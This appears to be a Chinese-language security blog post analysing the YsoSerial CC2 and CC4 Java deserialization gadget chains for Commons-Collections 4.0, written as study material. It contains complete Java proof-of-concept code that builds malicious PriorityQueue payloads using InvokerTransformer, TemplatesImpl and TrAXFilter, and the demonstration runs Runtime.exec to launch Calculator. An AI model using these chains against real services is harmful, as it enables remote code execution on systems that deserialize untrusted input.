YsoSerial 工具常用Payload分析之Common-Collections2、4(五)
- 2021 年 8 月 6 日
- 筆記
- common-collections, JAVA安全, 反序列化, 網絡安全
前言
Common-Collections <= 3.2.1 對應與YsoSerial為CC1、3、5、6、7 ,Commno-collections4.0對應與CC2、4. 這篇文章結束官方原版YsoSerial關於Common-Collections鏈的分析就已經結束了。
CC2
TemplatesImpl
在之前有介紹過TemplatesImpl 這個類的命令執行利用方法,我們回顧一下,TemplatesImpl中存在對變量_bytecodes 進行defineClass加載的 defineTransletClasses 方法:

這會在JVM中夾在類對象,巧合的是,內部又存在 getTransletInstance() 方法,對剛剛加載的類進行實例化:

對外提供的公共方法中,newTransformer() 又會調用 getTransletInstance() 方法,所以找到利用鏈中有誰能夠調用newTransformer() 就好。
TransformingComparator
這裡介紹一個新東西TransformingComparator,這個類在Common-collections3.x 和4.x 都存在,但3.x的版本沒有繼承 Serializable ,所以不能用在反序列化利用裏面,寫代碼引入的時候要注意不要引錯。
TransformingComparator 實現了 Comparator 接口,裏面的 compare 用作進行兩個對象進行比較,接口方法要求:如果o1< o2 返回負數, o1=o2 返回0,o1>02 返回正數:

compare 方法的使用場景會用在數組、隊列的排序上,我們來看一下 TransformingComparator 對 compare 方法的實現:

在進行比較前,分別先對兩個對象進行執行transfrom方法, 得到的結果再對對象進行compare操作,transfrom 和 decorated 來自類構造方法傳入:

如果不傳入 decorated 則默認使用 ComparableComparator :

這裡的compare方法裏面有調用transfomer方法,以及能夠觸發之前介紹過的common-collections惡意transfomer,需要找到一個類在反序列化過程中有調用 compare 方法。
PriorityQueue
隊列是遵循先進先出(First-In-First-Out)模式的,但有時需要在隊列中基於優先級處理對象。
舉兩個例子:
- 作業系統中的調度程序,當一個作業完成後,需要在所有等待調度的作業中選擇一個優先級最高的作業來執行,並且也可以添加一個新的作業到作業的優先隊列中。
- 每日交易時段生成股票報告的應用程序中,需要處理大量數據並且花費很多處理時間。客戶向這個應用程序發送請求時,實際上就進入了隊列。我們需要首先處理優先客戶再處理普通用戶。在這種情況下,Java的PriorityQueue(優先隊列)會很有幫助。
PriorityQueue類在Java1.5中引入並作為 Java Collections Framework 的一部分。PriorityQueue是基於優先堆的一個無界隊列,這個優先隊列中的元素可以默認自然排序或者通過提供的Comparator(比較器)在隊列實例化的時排序。
優先隊列不允許空值,而且不支持non-comparable(不可比較)的對象,比如用戶自定義的類。優先隊列要求使用Java Comparable和Comparator接口給對象排序,並且在排序時會按照優先級處理其中的元素。
優先隊列的頭是基於自然排序或者Comparator排序的最小元素。如果有多個對象擁有同樣的排序,那麼就可能隨機地取其中任意一個。當我們獲取隊列時,返回隊列的頭對象。
優先隊列的大小是不受限制的,但在創建時可以指定初始大小。當我們向優先隊列增加元素的時候,隊列大小會自動增加。
PriorityQueue是非線程安全的,所以Java提供了PriorityBlockingQueue(實現BlockingQueue接口)用於Java多線程環境。
總的來說就是一種特殊的隊列,初始化時可傳入comparator,在添加或者刪除隊列元素時可調用comparator.compare 方法完成排序。
打開PriorityQueue源碼,找到readObject,裏面依次調用heapify -> siftDown -> siftDownUsingComparator:



其中 siftDownUsingComparator 有調用compare方法:

這裡就和上面的TransformingComparator串起來了。
挖掘利用鏈
思路一
PriorityQueue裏面調用compare 方法,而TransformingComparator#compare有調用transfomer方法,其實已經將漏洞利用給串起來了,那我們使用一個惡意的Transfomer數組也可以可以利用的:
String cmd = "/System/Applications/Calculator.app/Contents/MacOS/Calculator";
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});
PriorityQueue priorityQueue = new PriorityQueue(2,new TransformingComparator((chainedTransformer) ));
priorityQueue.add(1);
priorityQueue.add(1);
ReflectUtils.setFields(chainedTransformer,"iTransformers",transformers);
// Field queue = ReflectUtils.getFields(priorityQueue,"queue");
// Object[] objects = (Object[]) queue.get(priorityQueue);
// objects[0] = 1;
// objects[1] = 1;
String path = ExpUtils.serialize(priorityQueue);
ExpUtils.unserialize(path);
其中 ReflectUtils.setFields(chainedTransformer,"iTransformers",transformers); 是為了避免序列化過程中執行惡意代碼,前面利用鏈分析已經講過,不再贅述,查看執行效果:

發現有兩個計算器彈出,這是因為在compare中執行了兩個Transformer方法:

思路二
其實上面的代碼已經能夠在common-collections4.0下執行,但YsoSerial卻不是這麼寫的,YsoSerial更加簡潔,使用我們之間介紹的TemplatesImpl,直接利用InvokerTransfomer進行觸發,代碼如下:
Templates templates = ExpUtils.getEvilTemplates();
InvokerTransformer transformer = new InvokerTransformer("toString",new Class[0],new Object[0]);
PriorityQueue priorityQueue = new PriorityQueue(2,new TransformingComparator((transformer) ));
priorityQueue.add(1);
priorityQueue.add(1);
ReflectUtils.setFields(transformer,"iMethodName","newTransformer");
Field queue = ReflectUtils.getFields(priorityQueue,"queue");
Object[] objects = (Object[]) queue.get(priorityQueue);
objects[0] = templates;
objects[1] = 1;
String path = ExpUtils.serialize(priorityQueue);
ExpUtils.unserialize(path);
同樣 ReflectUtils.setFields(transformer,"iMethodName","newTransformer"); 和:
Field queue = ReflectUtils.getFields(priorityQueue,"queue");
Object[] objects = (Object[]) queue.get(priorityQueue);
objects[0] = templates;
objects[1] = 1;
都是為了避免在隊列添加時觸發代碼而代碼執行,執行結果

成功執行命令,只彈出一個是因為執行TemplatesImpl時會報錯拋異常從而導致無法執行下一個transfomer。
CC4
其實CC4 同樣也是使用PriorityQueue,只不過在tranfomer選擇了TrAXFilter,這個和CC3是一致的,只不過是用PriorityQueue來觸發,具體原理不再繼續分析,直接貼代碼:
Templates templates = ExpUtils.getEvilTemplates();
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{String.class},new Object[]{"foo"});
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(String.class),
instantiateTransformer
});
PriorityQueue priorityQueue = new PriorityQueue(2,new TransformingComparator(chainedTransformer));
priorityQueue.add(1);
priorityQueue.add(2);
ReflectUtils.setFields(chainedTransformer,"iTransformers",new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
});
String path = ExpUtils.serialize(priorityQueue);
ExpUtils.unserialize(path);
執行結果:

總結
CC2、CC4都是利用基本數據類型PriorityQueue完成漏洞觸發,只不過CC2使用了TemplesImpl結合InvokerTransfomer,CC4使用了TrAXFilter結合InstantiateTransformer來觸發,相對來說都比較簡單。
至此,終於終於把YsoSerial關於Common-Collections的內容分析完了,這裏面的7條鏈每一條都有詳細跟進,介紹裏面的關鍵利用店,然後自己手敲代碼實現7條鏈,在不斷分析這些鏈的過程中不斷感嘆這些安全研究人員還真不是吃素的,很多邏輯利用很是巧妙,非常佩服他們。
接下來我會繼續分析CommonsBeanutils1、Jdk7u21,有時間再分析下FileUpload1。
公眾號
歡迎大家關注我的公眾號,這裡有乾貨滿滿的硬核安全知識,和我一起學起來吧!



